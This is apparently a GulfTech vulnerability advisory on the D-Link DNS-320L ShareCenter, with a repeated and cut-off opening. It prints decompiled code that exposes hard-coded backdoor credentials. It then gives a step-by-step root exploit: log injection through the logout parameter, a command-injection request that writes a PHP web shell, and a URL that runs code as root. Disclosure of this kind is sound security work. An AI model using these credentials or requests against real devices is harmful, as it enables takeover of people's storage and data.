Released Date: 2018-01-03 Last Modified: 2017-06-14 Company Info: D-Link Version Info: Vulnerable * D-Link DNS-320L ShareCenter < 1.06 * Possibly various other ShareCenter devices Not Vulnerable * D-Link DNS-320L ShareCenter >= 1.06 ### Table of contents 00 - Introduction * 00.1 Background 01 - Hard coded backdoor * 01.1 - Vulnerable code analysis * 01.2 - Remote exploitation 02 - Credit 03 - Proof of concept 04 - Solution 05 - Contact information ### 00 - Introduction The purpose of this article is to detail the research that GulfTech has recently completed regarding the D-Link DNS 320L ShareCenter. #### 00.1 - Background D-Link Share Center 2-Bay Cloud Storage 2000 (DNS-320L) aims to be a solution to share, stream, manage and back up all of your digital files by creating your own personal Cloud. ### 01 - Hard coded backdoor While doing some research on another device, I came across a hard coded backdoor within one of the CGI binaries. Several different factors such as similar...
Released Date: 2018-01-03 Last Modified: 2017-06-14 Company Info: D-Link Version Info: Vulnerable * D-Link DNS-320L ShareCenter < 1.06 * Possibly various other ShareCenter devices Not Vulnerable * D-Link DNS-320L ShareCenter >= 1.06 ### Table of contents 00 - Introduction * 00.1 Background 01 - Hard coded backdoor * 01.1 - Vulnerable code analysis * 01.2 - Remote exploitation 02 - Credit 03 - Proof of concept 04 - Solution 05 - Contact information ### 00 - Introduction The purpose of this article is to detail the research that GulfTech has recently completed regarding the D-Link DNS 320L ShareCenter. #### 00.1 - Background D-Link Share Center 2-Bay Cloud Storage 2000 (DNS-320L) aims to be a solution to share, stream, manage and back up all of your digital files by creating your own personal Cloud. ### 01 - Hard coded backdoor While doing some research on another device, I came across a hard coded backdoor within one of the CGI binaries. Several different factors such as similar file structure and naming schemas led me to believe that the code that was in the other device was also shared with the DNS-320L ShareCenter. As it turned out our hunch was correct. An advisory regarding the other vulnerable device in question will be released in the future, as the vendor for that device is still in the process of addressing the issues. Now, let's take a moment to focus on the following file which is a standard Linux ELF executable and pretty easy to go through. ``` /usr/local/modules/cgi/nas_sharing.cgi ``` The above file can be accessed by visiting "/cgi-bin/nas_sharing.cgi" and contains the following function that is used to authenticate the user. #### 01.1 - Vulnerable code analysis Below is the psuedocode created from the disassembly of the binary. I have renamed the function to "re_BACKDOOR" to visually identify it more easily. ``` struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2) { const char *v2; // r5@1 const char *v3; // r4@1 struct passwd *result; // r0@4 FILE *v5; // r6@5 struct passwd *v6; // r5@7 const char *v7; // r0@9 size_t v8; // r0@10 int v9; // [sp+0h] [bp-1090h]@1 char s; // [sp+1000h] [bp-90h]@1 char dest; // [sp+1040h] [bp-50h]@1 v2 = a2; v3 = a1; memset(&s, 0, 0x40u); memset(&dest, 0, 0x40u); memset(&v9, 0, 0x1000u); if ( *v2 ) { v8 = strlen(v2); _b64_pton(v2, (u_char *)&v9, v8); if ( dword_2C2E4 ) { sub_1194C((const char *)&unk_1B1A4, v2); sub_1194C("pwd decode[%s]\n", &v9); } } if (!strcmp(v3, "mydlinkBRionyg") && !strcmp((const char *)&v9, "abc12345cba") ) { result = (struct passwd *)1; } else { v5 = (FILE *)fopen64("/etc/shadow", "r"); while ( 1 ) { result = fgetpwent(v5); v6 = result; if ( !result ) break; if ( !strcmp(result->pw_name, v3) ) { strcpy(&s, v6->pw_passwd); fclose(v5); strcpy(&dest, (const char *)&v9); v7 = (const char *)sub_1603C(&dest, &s); return (struct passwd *)(strcmp(v7, &s) == 0); } } } return result; } ``` As you can see in the above code, the login functionality specifically looks for an admin user named "mydlinkBRionyg" and will accept the password of "abc12345cba" if found. This is a classic backdoor. Simply login with the credentials that were just mentioned from the above code. #### 01.2 - Remote exploitation Exploiting this backdoor is fairly trivial, but I wanted a root shell, not just admin access with the possibility of shell access. So, I started looking at the functionality of this file and noticed the method referenced when the "cmd" parameter was set to "15". This particular method happened to contain a command injection issue. Now I could turn this hard coded backdoor into a root shell, and gain control of the affected device. However, our command injection does not play well with spaces, or special characters such as "$IFS", so I got around this by just playing ping pong with pipes, and syslog() in order to create a PHP shell. These are the steps that I took to achieve this. STEP01: We send a logout request to /cgi-bin/login_mgr.cgi?cmd=logout with the "name" parameter value set to that of our malicious PHP wrapper code within our POST data. This "name" parameter is never sanitized. ``` name= ``` At this point we have successfully injected our payload into the user logs, as the name of the user who logouts is written straight to the user logs. A user does not have to be logged in, in order to logout and inject data. STEP02: We now use cat to readin the user log file and pipe it out to the web directory in order to create our PHP web shell. ``` GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=15&user=mydlinkBRionyg&passwd=YWJjMT IzNDVjYmE&system=cat/var/www/shell.php HTTP/1.1 ``` At this point an attacker can now simply visit the newly created web shell and execute any PHP code that they choose, as root. ``` http://sharecenterhostname/shell.php?01100111=phpinfo(); ``` By sending a request like the one above a remote attacker would cause the phpinfo() function to be displayed, thus demonstrating successful remote exploitation as root. ### 02 - Credit * James Bercegay * GulfTech Research and Development
